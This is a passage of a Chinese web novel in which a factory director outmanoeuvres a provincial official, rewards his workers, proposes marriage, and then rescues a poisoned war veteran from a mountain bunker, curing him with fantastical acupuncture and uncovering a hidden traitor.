这随口一提的小事，彻底改变了整件事的性质。 这不再只是省工业厅和一家乡镇企业的矛盾，而是被提升到了国家战备的战略高度。 从这一刻起，卫国制药厂就等于被军方正式纳入了保护范围。 王宗德的任何阻挠，都将被视为影响国防安全。 电话挂断后，钱国栋仍站在原地，一时没有移动。 半晌，他才从震惊中反应过来。 “好！好！” “这小子，不止递来梯子，还送上一柄能斩铁的尚方宝剑！” 反击时机已到。 他立刻叫来秘书，毫不犹豫地吩咐： “马上起草补充文件：为更好地配合军方考察、深入研究安平模式在军民融合中的先进经验，省计委决定，将原安平模式观察小组再次升级，正式更名为，军地联合调研小组！” 这一举措，可谓妙到毫巅。 他巧妙地将自己主导的计委观察小组与军方考察团。 这两股分属不同系统的力量，拧成一股绳。 从今往后，谁再对安平模式指手画脚，便是同时挑衅省计委与省军区这两座大山。 …… 工业厅，副省长办公室。 王宗德收到文件抄送件时，一贯虚伪的笑容瞬间消失，脸色铁青。 他被彻底逼入死角。 所有政治手段、关系网络，在计委与军方联手筑起的壁垒前，都显得苍白无力。 他不甘心，更不能输给一个名不见经传的乡下年轻人。 他必须最后一搏。 当天下午，省委内部会议。 王宗德一反常态，以格外恳切和顾全大局的语气提出建议： “军方重视我省工业发展，是好事，我们必须全力支持。但也要考虑地方企业的实际困难。安平县的卫国制药厂毕竟是乡镇企业，底子薄、规模小，接待能力有限。” “我认为，军方如此高级别的考察团，主会场应设在省城。让安平那边派个代表来汇报即可。这样既体现重视，又不干扰企业正常生产。” 话说得冠冕堂皇，滴水不漏。 几位不明就里的领导刚欲点头，一直沉默的周正国忽然冷笑开口： “干扰生产？” 他从公文包里取出一份早已准备好的报告，轻轻放在会议桌上。 那是由德国专家汉斯和上海专家钱进共同撰写的。 “王副省长或许还不知道，就在几天前，卫国制药厂正因为某些领导的‘过度干扰’，导致严重生产停滞。” 他将报告复印件分发给在场众人。 “这份报告由国内外顶尖工业专家共同完成，用详尽且无可辩驳的数据显示：省厅工作组进驻期间，卫国制药厂的生产效率呈断崖式下跌。” 第124章 谁见过这样的厂长？ 会议室一片死寂，只余纸张翻动的沙沙声。 在座都是官场半辈子的人精。看着报告上触目惊心的数据与图表，每个人的脸色都越发难看。 一切不言自明。 周正国不再看王宗德惨白的脸，起身痛心疾首地说道： “问题的根源不在企业接待能力，而在于个别领导干部思想僵化、脱离实际！是他们那套过时的官僚主义管理模式，严重阻碍先进企业发展，甚至影响军需物资的正常保障！” 这份报告、这番话，成了压垮王宗德的最后一根稻草。 空气凝固了。 省主要领导看完报告，面色沉郁，缓缓抬头，目光冰冷地投向如坐针毡的王宗德。 最终会议决定： “鉴于王宗德同志在指导全省工业改革中出现严重官僚主义与脱离实际的问题，不再适合担任主管工业的重要领导职务。” “经省委常委会研究决定，免去其主管工业的副省长职务，调任省政协，担任排名末位的副主席。” …… 当天下午，接到调令的王宗德仿佛被抽去全身骨头。 他将自己关在那间曾意气风发的办公室里，整整一个下午。 没有咆哮，没有失态。 他只是静坐窗前，望着外面熟悉的省城街景。 夕阳西下，金色余晖将他的身影拉得细长，弥漫着难以言说的萧索。 他脸上第一次露出茫然与衰颓。 他想不通。无论如何也想不通。 自己经营多年的政治版图、那张盘根错节的关系网，怎么会如此不堪一击地毁在一个自己连名字都记不清的乡下年轻人手里。 他甚至没有机会和对方正面交锋。 就这样不明不白地输了。 一败涂地。 这场没有硝烟的政治仗，以林卫国的完胜告终。 …… 省里的风波终于尘埃落定。 卫国制药厂那根紧绷已久的弦，总算松了下来。 林卫国没有庆功，也没有急着犒赏任何人。 他做的第一件事，是召开全厂职工分红大会。 消息传开，全厂沸腾。 大会当天，中心广场人山人海。 几百名工人站在台下，神情复杂。 有喜悦，有期待，但更多是忐忑与不安。 大家都明白：厂子虽然赢了，却赢得很惨烈。 那几万盒废品，是实实在在的损失，好几十万。 这么大的窟窿，年终分红恐怕……要落空了。 林卫国穿着一身洗得发白的蓝色工装，平静地走向话筒。 他没有宣扬胜利，也不提省里那场惊心动魄的博弈。 而是面向全场，尤其是站在最前排的刘铁柱等老师傅， 深深地鞠了一躬。 “各位师傅，各位同志。” 他的声音透过扩音器，清晰传遍广场： “前半个月的路线之争，由于我个人计划的疏忽，让大家尤其是刘铁柱师傅和很多一线老同志受了天大委屈。 我，林卫国，在此向大家诚恳道歉！” 这番话，让台下所有工人的心都猛地一颤。 谁见过这样的厂长？打了胜仗，不居功，先向工人道歉。 刘铁柱眼眶霎时红了。他张了张嘴，却什么也说不出。 林卫国直起身，紧接着宣布第一个决定： “我知道，大家最担心的，是那批废品带来的损失。” 他指了指旁边早已备好的一叠账本。 “这上面的每一个数字，都是大家的心血。 这几十万的损失，责任不在工人、不在车间、也不在领导班子。” 他望向台下几百双紧张的眼睛，一字一句，斩钉截铁： “责任，在我一个人！” “我宣布：此次事故造成的所有经济损失，由我林卫国个人承担！ 绝不占用工厂一分利润！绝不影响大家的收入！” 人群顿时一片寂静。 几十万的损失……他一个人扛？ 还没等大家反应过来，林卫国做出了更令人震撼的举动 他拿起一盒火柴，“刺啦”一声划着， 径直将火焰丢向那几本记录损失与责任的账本。 火焰腾地升起。 那些冰冷的数字、压得人喘不过气的负担，在火光中化作灰烬。 他用最直接的方式告诉所有人： 从今以后，这笔账，清了。 “厂长……” 人群中，有人哽咽着喊出声。 下一刻，无数个流血汗不流泪的汉子，纷纷红了眼眶。 可林卫国的话还没说完。 他看着燃烧的火焰，平静地宣布了第二个决定： “第二件事，关于今年的年终分红。” 大家的心又一次悬到嗓子眼。 “我宣布”林卫国的声音陡然提高，如战鼓擂响： “今年的分红，不仅不因损失减少一分钱！ 相反，因为我们顶住了内外压力，安平模式获得了省计委和军方的高度认可 所有工人的分红，在原有基础上，再上浮百分之三十！” 全场死寂。 整整三秒。 紧接着，“噢！！！” 欢呼与呐喊如山呼海啸般爆发，几乎掀翻屋顶。 “林厂长万岁！！” “我这辈子就跟定林厂长了！” 工人们把帽子、手套、毛巾纷纷抛向空中。 他们跳着、笑着，激动得热泪盈眶。 他们看到的不仅是钱，更是一个有担当、能共苦、也能同甘的领导者。 赵胜利和王建民两位年过半百的老人，也忍不住像孩子一样抹泪。 他们知道，从这一刻起，林卫国在这家厂的地位，再也无人可以撼动。 …… 分红大会散场，夜色已深。 厂长办公室的灯还亮着。 苏晚夏没有回去。 她坐在林卫国对面，手拨算盘、对着账本，眉头紧锁 正替他处理那笔几十万损失带来的个人财务危机。 “……你之前放我这的钱，加上预支分红、广州带回的那些……总共还差将近十五万。” 她声音里掩不住担忧：“这么大窟窿，你打算怎么办？” 林卫国没有回答。 他只是静静地看着她。 灯光昏黄，映得她侧脸格外动人，写满了关切。 他忽然伸出手，第一次主动地、握住了她那双因打算盘而微凉的手。 苏晚夏轻轻一颤，脸颊绯红，想抽回却被他握得更紧。 “晚夏，” 他注视着她的眼睛，声音是从未有过的温柔： “钱的事，别担心。对我而言，钱能解决的问题，都不算问题。” 他将她的手轻轻按在自己胸前。 “以前我一个人，什么也不怕。但现在我有你们，有这个家，有这个厂。” “谢谢你一直在我身边。” 灯光朦胧，两人静静对望。 所有情感，都在这一次共渡难关后悄然升温、水到渠成。 林卫国望进她星辰般明亮、又带一丝羞怯的眼睛， 缓缓许下了承诺： “等忙完这阵，我们就结婚吧。” “以后，换我来照顾你。” 第125章 老鬼……还活着？ 京城，琉璃厂，槐影胡同。 无名书斋。 林卫国推开木门，柜台后的秦伯抬了下眼皮。 当他看清来人时，眼里闪过一丝凝重。 他默默起身，启动了一道隐蔽机关。 一声轻响，地板悄然翻开，露出黑洞洞的暗格。 秦伯从中取出一个小铁盒，放到柜台上，声音沙哑： “半个月前，有个年轻人来店里。不买书，也不说话，只用手在柜台上敲出了九分队的联络切口。” “那切口，只有当年活下来的几个人知道。我问什么他都不答，只留下这盒子，指名要交给山猫的后人。” 林卫国心头猛震。 他接过铁盒，缓缓打开。 里面只有三样令人费解的物件： 一枚锈迹斑斑的黄铜弹壳； 一小撮用的风干草药； 一张残破的羊皮地图，上面绘着精密却难辨的星象图。 什么意思？ 林卫国眉头紧锁，百思不解。 他拿起最熟悉的草药，鼻尖轻嗅，一股奇异的气息钻入鼻腔。 【警告！检测到目标物品含有微量龙涎能量残留！】 【深度成分分析完毕……】 【检测到KGB-7神经抑制剂变体！该变体与未知有机毒素结合，形成全新神经腐蚀性剧毒！现有科技无法解析、无法治疗！】 林卫国如遭雷击，瞬间僵在原地。 龙涎能量！ KGB-7变体！ 他顿时明白了，这包裹是求救信号！ 龙涎草药，说明求救者与他有极深的关联。 KGB-7变体，意味着对方正身中奇毒！ 弹壳是身份证明，星象图则是位置。 是谁？！ 林卫国再难冷静，抓起铁盒对秦伯沉声道：“秦伯！此事紧急，我必须立刻去见陈老！” …… 西山疗养院。 当林卫国将三样东西摆在陈老面前时，老将军的脸色霎时变了。 “这是……” 他拿起弹壳：“是契科夫的子弹！当年在太行山执行斩首任务时，队里唯一那把苏式SVD狙击步枪使用的穿甲弹！” 陈老缓缓抬头望向林卫国，声音沙哑： “这封信，必定来自九分队的幸存者。” “他是队里最顶尖的爆破专家，老鬼，周默！” “老鬼……还活着？” 林卫国呼吸一紧。 这名字，他在父亲的日记里见过太多次。 “当年黎明行动，他为掩护你父亲和其他战友撤离，独自抱着炸药包冲向敌人重机枪阵地……” 陈老喃喃道：“我们都以为他和敌人同归于尽了。” “没想到……他藏了三十年。” “他所中之毒，必定与当年那桩任务有关！” “是贺卫东！是那个叛徒！” “一定是他对周默动了手脚！” 所有线索瞬间串联。 一个被历史遗忘的孤胆英雄，一场潜伏三十年的致命阴谋。 林卫国知道，他必须去。 不为别的，就为父亲日记里的愧疚与思念。 必须将老鬼，从冰冷的深山里带回来。 事态紧急，刻不容缓。 林卫国当即决定。立刻动身，前往太行。 陈岩老元勋原想从军区抽调一支特战小队随行，却被林卫国婉拒。 最终，秦振邦老将军做出折中安排，指派他最信任的警卫员王刚便装陪同。 并授予王刚最高权限，可随时调动附近驻军提供支援。 …… 两天后。 一辆军用吉普，驶入太行山脚下的小县城。 旅馆中，林卫国星象图在桌上铺开。 王刚凑上前只看一眼，眉头便紧紧锁起。 “这地方，我听说过。”王刚语气凝重，“当年在特种侦察大队时，听老队长提过。” “战争时期，那里是关东军731部队的秘密基地，专门进行细菌战与人体实验。山中罪恶深埋，难以尽数。” “解放后，国家曾派工兵营进入清剿，却损失三分之一人手，连核心区都未能进入。后来，那里被划为特级军事禁区，严禁任何人靠近。传闻里面机关遍布，有去无回。” “老队长说……那就是一座活地狱。” 林卫国只是平静地点了点头。 …… 次日清晨，两人换上猎户装束，背着满载装备的登山包，踏入了鬼见愁。 一进入无人区，林卫国的气场瞬间变了。 那股属于特种兵王的战斗本能，在这一刻彻底苏醒。 “等一下。” 刚走进一片高草区，林卫国突然抬手，拦下了王刚。 王刚愣了一下。眼前不过是普通草丛，没什么特别。 林卫国缓缓蹲下身，手指如羽毛般轻轻拨开落叶。 落叶之下，竟是一根细如发丝、近乎透明的墨绿色绊索！ 王刚瞳孔猛地一缩，后背瞬间渗出冷汗。以他的专业水平，居然丝毫没有察觉。刚才若是迈出那一步…… 林卫国小心拨开深草，里面藏着一枚锈迹斑斑、却杀机凌厉的反步兵诡雷。 “好家伙……”王刚倒抽一口凉气，“这伪装水平，比我们顶尖的教官还厉害！” 林卫国没有立即拆解，反而像教官一样冷静分析： “看这里，保险销已被拔掉，但布雷的人用浸油竹签代替，另一头连着的就是这根绊索。只要绊索被带动半公分，竹签抽离，三秒之内，三百颗钢珠就会把方圆二十米打成筛子。” “不能剪绊索，更不能直接碰雷。” 他取出一根银针，精准而稳当地插入引信的细微缝隙中，卡死击针弹簧，这才轻轻解下绊索。 整个过程行云流水，没有一丝多余动作。 王刚看得心跳加速，手心里全是汗。他对林卫国的实力有了全新的认识。 这哪像是医生？分明是最顶级的特战专家！ 接下来的两天两夜，他们才真正体会到什么叫“步步杀机”。 伪装成藤蔓的猎人套索、借助山势布下的竹签陷阱、承重即断的滚木机关……陷阱一个比一个隐蔽凶狠，既防外人，也在残酷地筛选着来访者。 但在林卫国鹰隼般锐利的目光下，所有陷阱都无所遁形。他不仅一一破解，更向王刚讲解其中的原理与更隐蔽的变种陷阱，听得这位特级警卫阵阵后怕。 …… 第三天傍晚。 他们依照地图指引，终于来到一座伪装成山壁的巨岩前。青苔与藤蔓覆盖，与山体融为一体。若不是地图上有标记，根本看不出后面另有玄机。 “应该就是这儿了。”王刚正由衷感叹这伪装之精妙，打算上前拨开藤蔓寻找入口。 “别动！” 林卫国猛地按住他，眼神是前所未有的凝重。 他抬手，指向入口处。 一根几乎与枯藤融为一体的绊索。 即便已经指明，王刚仍要仔细辨认才能勉强看清。 而那根绊索所连接的，是几捆伪装成鸟巢的C4炸药，足以将整个洞口炸塌。 最后、也最致命的考验，就在眼前。 一步走错，两人必将葬身于此。 第126章 我的身体我清楚！ C4炸药被林卫国拆解，那根细如发丝的绊索被他悄然剪断。最后一层致命机关，解除。 王刚长长吐出一口气，抬手抹去额角的冷汗。 …… 陷阱已破，前路无阻。 林卫国没有犹豫，大步上前推开那扇伪装成山壁的厚重石门。 眼前豁然开朗。 山洞内部空间巨大，这却并非天然洞穴，而是一座被掏空山体建造的地下堡垒。 “是关东军731部队的秘密基地……” 王刚声音里压着愤怒：“这根本是座活地狱。” 林卫国没有说话，目光如鹰扫过四周。 使用痕迹很新，显然，老鬼周默这三十年来，一直藏在这里。 两人沿主通道向下，穿过几道废弃警戒线，最终抵达深埋地下的特殊病房区。这里的设施更为完整，甚至还有微弱的电力供应，几盏应急灯在走廊尽头幽幽闪烁。 一扇虚掩的铁门后，传来压抑而轻微的咳嗽声。 就是这。 林卫国与王刚对视一眼，猛地推门而入！ 病房角落的行军床上，蜷缩着一个头发花白、身形枯槁的老人。听到动静，他浑浊的双眼骤然锐利，爆射出野兽般的警惕与杀气。 几乎同时，老人以不符合年纪的敏捷从枕下抽出一把上了膛的五四式手枪，枪口稳稳指向林卫国的眉心。 “别动！” 沙哑的声音像生锈的铁片摩擦，满是敌意。 “你们是谁？怎么找到这的？” 他就是此行的目标——“九分队”顶尖爆破专家，代号“老鬼”的周默。 “周默同志！别开枪！我们是自己人！”王刚急忙上前。 “自己人？”周默枯瘦的脸上掠过讥讽，枪口纹丝不动，“三十年，我早就没有自己人。说！谁派你们来的？贺卫东？还是张怀德那个杂碎？！” 他竟然知道张怀德。 林卫国心头一震，顿时意识到情况远比想象中复杂。 “周老英雄，您误会了！我们是受组织委托，陈岩老元勋派我们来接您！”王刚激动辩解，“贺卫东和张怀德那两个叛徒，已经落网了！” “落网？”周默冷笑，“这种话，骗得了谁？三十年要落网早落了！你们身份可疑！再不走，我开枪了！” “你——”王刚又急又气，还想再说。 “王刚，住口！” 林卫国低喝制止。他迎向周默充满杀意的目光，缓缓开口，声音不大，却字字沉重： “周老英雄，我们能找到这，已足够证明诚意。” “您不信我们，不是因为我们身份可疑，而是三十年前黎明行动的背叛，让您再也无法相信任何人。” 周默持枪的手几不可察地一颤。 林卫国继续道：“您与世隔绝三十年，不知道当年叛徒已在组织内爬到多高。您不敢联系外界，怕暴露自己，更怕连累唯一幸存者——山猫，也就是我父亲，林长山。” “您在这个时间点冒险派人去京城留铁盒，只有一个可能——”林卫国目光锐利，“您身中奇毒，时日无多。但您仍心系祖国，想在死前将叛徒情报全盘托出！” 这番话如惊雷劈在周默头顶。 内心最深、最痛的秘密被这年轻人一语道破。 杀意褪去几分，震惊汹涌而来。可他仍未放下枪。 “你……怎么会知道？”周默嘶声问，“就算说对，我凭什么信你们不是叛徒派来套话的？除非……有更高级别的领导亲自来！” 林卫国摇头：“陈老身体不便。从京城到这来回至少四天。您的身体……等不起。” “我的身体我清楚！不用你管！”周默固执喝道。 “是吗？”林卫国忽然笑了，“您中的毒，是当年731遗留的KGB-7神经抑制剂变种，混合太行山特有的鬼见愁草毒液，形成专门针对您体质的新型神经剧毒。” “中毒初期双腿麻痹，半年来毒素侵蚀中枢神经。每天午夜，五脏六腑如蚁啃咬，痛不欲生。最近一个月，您甚至出现间歇性失明，对吗？” 周默彻底僵住，脸上血色褪尽，只剩骇然。 林卫国说的每一个症状，都分毫不差。 “这毒……世上无解。”周默声音绝望。 “西医无解，”林卫国平静答道，“但中医博大精深，未必没有生机。” 他从怀中取出一只古朴牛角针盒，在周默震惊的注视中，拈出三根细如牛毛、泛着淡淡金光的金针。 “您若信我，我现在就能让这双失去知觉三十年的腿，重新感受到一丝暖意。” 周默死死盯着林卫国，眼中剧烈挣扎。 最终，求生的渴望与为战友昭雪的执念，压过了三十年警惕。 他缓缓将握了半生的枪，放在床沿。 “好，你治。”但他仍未放松，“但有任何异动，我保证你们走不出这山洞。” 林卫国不再多言。 他走到床前，让王刚扶好周默。随即深吸一口气，体内“龙涎”内力以前所未有的速度运转！ 嗤！嗤！嗤！ 三根金针迅如闪电，精准刺入周默腿上三处早已萎缩坏死的穴位。 林卫国内力奔涌，指尖搭在针尾，将霸道生机源源渡入周默枯木般的经脉。 汗水很快浸透他的后背，脸色也肉眼可见地苍白。 王刚看得心惊，清晰感受到林卫国正承受巨大消耗。 五分钟后。 “呃……” 一直沉默的周默突然发出一声闷哼！ 那双枯瘦三十年、毫无知觉的腿，竟不受控制地颤抖起来！一股久违的酸麻暖流自脚底直冲头顶。 有感觉了！ 真的有感觉了！ 周默猛地睁大双眼，死死盯着自己的腿，浑浊的老眼中第一次涌出滚烫泪水。 “我的腿……我的腿……” “周老英雄，这只是第一步。”林卫国收回金针，喘了口气，“毒素已入骨髓，根治还需调理。但我保证，不出半月，您能重新站起来。” 望着林卫国苍白疲惫的脸，周默心中最后防线，彻底崩塌。 他知道，这年轻人绝对可信。 “好……好！我信你！”周默老泪纵横：“林同志，王刚同志！谢谢你们！” 林卫国看着周默，轻轻点了点头，却并未着急问什么，而是又拿起金针，刺入周默的其他穴位。 第127章 不是唯一的叛徒！ 大概又过了二十分钟，周默的面色明显好了很多。 “您现在感觉如何？” 林卫国再次发问。 “好……好多了……” “林同志……我……” “您多余的都不用说。” 林卫国知道周默想说些感谢的话，他轻声打断道：“虽说我有把握能将您完全治好，但也需要一些时间。” “毒素已侵入骨髓，我用针法抑制了毒素，您现在还不能动。” 闻言，周默点了点头，看向林卫国的目光中满是感激。 见时机差不多了，林卫国才收回金针，开口问道：“周老，这阴狠的毒您究竟是怎么中的？” 周默苦笑一下，指了指病房外漆黑的走廊：“机关。” “当年逃进这，我以为安全了。没想到在清理地下档案室时，触发了陷阱” “文件柜里藏着一枚毒气针，刺进了我的腿。” “那毒见血封喉，我当场倒下。本以为死定了，可几天后竟醒了过来……只是这双腿，再也没了知觉。” 林卫国心中明了，这应是KGB-7神经抑制剂的变种所致。 “周老英雄，您放心，”林卫国郑重说道，“您的毒，我能解。您的腿，我一定让它重新站起来。” 这句承诺如同阳光，瞬间照散了周默心中积压三十年的阴霾。 他再忍不住，这个从不落泪的硬汉捂住脸，发出压抑的呜咽。 良久，他才抬起头，通红的眼中只剩决绝。 “林同志，王刚同志，谢谢你们。”他深吸一口气，用尽全身力气吐露那个足以震动京城的秘密： “贺卫东……不是唯一的叛徒！” 王刚浑身一震，猛地抬头。 “当年出卖我们的，还有一个人！”周默的声音冰冷刺骨，“他的代号，是幽灵！” 幽灵！ 又一个陌生代号！ 周默眼中恨意翻涌：“幽灵不是九分队的战斗人员，是后勤兵。负责分队与后方部门的联络，提供武器物资，转移机密文件。” 王刚眉头紧锁：“既然是叛徒，当年审查为什么没揪出他？” “因为他太会伪装！”周默咬牙道，“黎明行动前，幽灵的工作关系已正式转出。我们遭伏击时，他名义上已不属九分队。再加上贺卫东吸引了所有火力，战后审查根本没人怀疑到他！” 林卫国敏锐地抓住关键：“您又是如何发现他有问题的？” “是鬼子的档案！”周默呼吸急促，“我触发机关，就是因为在这发现了731部队一间未被清剿的核心档案室！里面存着大量细菌战和人体实验的绝密文件，都是鬼子来不及销毁的铁证！” “我拼死抢救出文件，亲手打包，交给当时唯一能接触我的后勤联络员——也就是幽灵，嘱咐他必须第一时间上交中央！” “可是……”周默双拳紧攥，指节发白，“那些文件石沉大海！后来我千方百计打探，发现这些足以震惊世界的档案，根本未出现在上级档案库！它们……被幽灵私吞了！” 自那一刻，周默明白了。“幽灵”与贺卫东根本是一丘之貉！他们不仅出卖战友，更出卖了整个国家的血泪历史！ “这个畜生！”王刚气得一拳砸在墙上！ 林卫国心一沉，追问：“周老英雄，幽灵到底是谁？他叫什么？” 周默痛苦摇头：“我不知道。这人沉默寡言、性格孤僻，除了工作从不与人交谈。又不参与正面战斗，我们对他了解极少。只知他并非军人出身，是从地方单位临时抽调来的。” “地方单位？”林卫国眼中一闪，“您还记得是哪个单位吗？” “记得，”周默报出一个拗口的名称，“战时后勤资源统筹调配办公室。” 王刚闻言脸色顿变：“这部门……我听军区老档案员提过。战争一结束，这临时机构就被裁撤，所有人员档案按战时保密条例封存进最高档案库，根本无从查起。” 线索，似乎又断了。 病房陷入死寂。 “不，线索没有断。” 林卫国打破沉默。他深邃的眼中闪烁着洞悉一切的光芒。 “幽灵既能隐藏三十年，很可能早已改名换姓，甚至改变了容貌，以全新身份继续潜伏。” 王刚倒吸凉气：“这……这怎么可能？” “没什么不可能，”林卫国声音冰冷，“这人精通后勤与档案管理，又因保全机密未受怀疑。战后他想重新进入体制，易如反掌。” “我敢断定，现在的他多半凭当年功劳和三十年经营，已爬到了相当高的位置。掌管的部门，定与物资调配、机密档案管理相关！” 想到这，林卫国自己也感到一阵寒意。 一条比贺卫东藏得更深、更危险的毒蛇，正盘踞在共和国心脏，随时准备噬人！ “我发誓，一定要把他揪出来！”林卫国一字一顿，声音里是不容置疑的决心。 望着林卫国坚定的眼神，周默黯淡的眼中重燃希望。他忽然想起什么，挣扎着从贴身衣物夹层里摸出一张被汗水浸透、早已泛黄的纸条。 “林同志，我还有一个线索。” “黎明行动后，九分队几乎全军覆没。因任务特殊，国家未公开我们身份，只在内部将牺牲的弟兄评定为烈士。陈老他……在京郊烈士陵园为我们立了块无名碑。” “我这三十年行动不便，但曾托信得过的老乡，每年清明去碑前献一束花。” “可老乡告诉我一个怪现象，”周默声音飘忽，“他说每逢清明、七月半，总有人比他更早到碑前。” “那人很神秘，从不露面。但每次都会放上一份很多年前的旧报纸，还有几束无名野花。” “旧报纸？”林卫国敏锐地抓住这个细节。 “对，”周默肯定道，“老乡偷偷看过一次。那报纸版面模糊，用很小篇幅记载了一些分队成员当年的英雄事迹，当然，名字和番号都是化名。” “除了报纸，再无其他。年年如此，风雨无阻。” 一个神秘的祭奠者？一份记载往事的旧报纸？ 这背后，究竟藏着什么不为人知的秘密？ 林卫国心中波澜再起。京城这潭水，远比他想象得更深。 第128章 秦老，不可！ 林卫国仔细的想了想，便想到了一种可能，于是开口道。 “这个人，一定就是幽灵。” 王刚猛地一愣：“不可能把，这不合理啊，他……” “不，这很合常理。” 林卫国低声道：“他出卖了战友，害死了兄弟，他爬得越高，内心的恐惧和愧疚就越深。” “所以他年复一年地去祭拜，是想减轻自己心底的罪恶感。” 这番诛心之论，让王刚和周默都感到一阵不寒而栗！ 林卫国随即转头，看了一眼墙上的日历。 “还有三天，就是清明节。” “周老英雄，事不宜迟！您跟我们回京城！去见陈老和秦老将军！” 听到这话，周默却面色一暗，缓缓摇了摇头。 “回去？我……还有什么脸面回去？” “我就是个苟活了三十年的废人。” “我心里的秘密已经全部告诉了你们，我的任务完成了。就让我在这里了此残生吧。” 这番话，说得王刚眼圈一红，心中酸楚不已。 林卫国却猛地上前一步，直视着周默那双逃避的眼睛，脸上所有的温和与尊敬瞬间消失，取而代之的是一种不容置疑的、晚辈对长辈的严厉！ “周默！” 他第一次直呼这位老英雄的名字，声音不大，却如惊雷炸响！ 周默浑身一震，愕然地抬起头。 林卫国从怀中，郑重地取出了那枚属于他父亲的、刻着“九”字利剑的银星章，与周默那枚放在一起。 “您看清楚！”林卫国的声音铿锵有力，“我，林卫国，不仅是组织派来的医生！更是九分队王牌侦察兵山猫林长山的儿子！” “我的父亲，为了保守秘密，隐姓埋名三十年，受尽屈辱！而您，为了守护真相，在这座地狱里孤身一人，与毒为伴三十载！” “你们，是国家的英雄！是民族的脊梁！” “英雄，理应受万人敬仰，名垂青史！而不是像现在这样，一个亡命天涯，一个默默无闻地湮没于尘土！” 他上前一步，死死抓住周默枯瘦的肩膀，一字一顿，字字千钧： “今天，我不管您同不同意！我以故人之子的身份命令您！必须跟我出山！去接受您迟到了三十年的荣耀！去亲眼看着那个出卖你们的杂碎，被钉在历史的耻辱柱上！” “这是您欠我父亲的！更是您欠所有牺牲在黎明行动里的英烈们的！” 这番话，如同烧红的烙铁，狠狠地烙在了周默的心上！ 故人之子！ 他竟然是“山猫”的儿子！ 周默呆呆地看着眼前这张年轻却写满坚毅的脸，又看了看那两枚并排放在一起、闪烁着同样光芒的银星章，再也控制不住。 “好……好……山猫他……他后继有人了……” 这个在枪林弹雨中都未曾流过一滴泪的铁血汉子，此刻竟像个孩子一样，嚎啕大哭！ …… 两天后，京城，西山疗养院。 当林卫国推着轮椅，将那个虽然枯瘦、但眼神已经重新变得锐利的老人带进病房时，正在交谈的陈岩元勋和秦振邦老将军，瞬间僵在了原地。 “老……老鬼？！” 秦振邦那双虎目猛地瞪圆，声音都变了调！ “首长……”周默看着眼前两位白发苍苍、却依旧威严如山的老领导，嘴唇翕动，滚烫的泪水决堤般涌出。 “你……你还活着……”陈岩元勋颤抖着走上前，布满老年斑的手，紧紧握住了周默的手。 故人相见，恍如隔世。 没有过多的言语，只有三双通红的眼睛，和无声的泪水。 良久，秦振邦猛地一拍桌子，虎目含泪，声音却如同洪钟！ “回来就好！回来就好！” 他当即拍板：“我马上给军委打报告！给你补办授勋仪式！恢复你所有的英雄待遇！医疗方面，动用全国最好的专家，不惜一切代价，也要把你治好！” 一番唏嘘过后，林卫国将话题拉回了正轨。 “陈老，秦老。”他神情凝重地说道，“周老英雄的回归，为我们带来了揪出另一名叛徒幽灵的唯一机会！” 他将周默关于神秘祭奠者的发现和盘托出，并作出了自己的判断。 “三天后就是清明。幽灵极有可能，会再次出现在京郊的烈士陵园！这是我们抓捕他的唯一机会！” “而且！”林卫国的声音陡然变得冰冷，“这个幽灵，这些年来利用职权，不知道向境外输送了多少我军的机密情报！他手里，更掌握着当年731部队那些足以震惊世界的罪证！此人，必须以雷霆手段，立刻抓捕！” 事关重大，秦振邦老将军的脸色瞬间变得无比严肃。 他二话不说，抓起桌上的红色专线电话，就要下达命令。 “我立刻给总参、总政、还有京城卫戍区下命令！布下天罗地网！别说一个幽灵，就算是一只苍蝇，也别想从陵园里飞出去！” “等等！” 林卫国却猛地伸手，按住了秦老的话筒。 “秦老，不可！” “嗯？”秦振邦眉头一皱，眼中闪过一丝不悦。 林卫国迎着老将军那威严的目光，没有丝毫退缩，沉声道：“秦老，您想过没有，幽灵能潜伏三十年而不被发现，其心智之缜密、手段之高明，远超我们的想象！” “我们现在甚至不知道他是谁，身居何职！但可以肯定，他在军中、在政界，必然有自己的情报网络！” “贺卫东的案子刚刚结束，现在京城正是风声鹤唳的时候。您如此大规模地调动部队，还没等我们的网撒下去，幽灵恐怕早就闻到风声，逃之夭夭了！” “我军内部，被境外势力渗透得有多严重，上次广州的案子，您比我更清楚！” 这番话，如同一盆冰水，让盛怒中的秦振邦瞬间冷静了下来。 他缓缓放下了电话，那双锐利的虎目死死盯着林卫国：“那依你之见，该当如何？” 林卫国的眼中闪过绝对的自信和一丝不容置疑的杀伐果决。 “这次行动，不能动用任何常规部队。” “知道这件事的人，越少越好！” 他顿了顿，一字一顿，掷地有声： “抓捕幽灵，只用陈老元勋的警卫团！足矣！”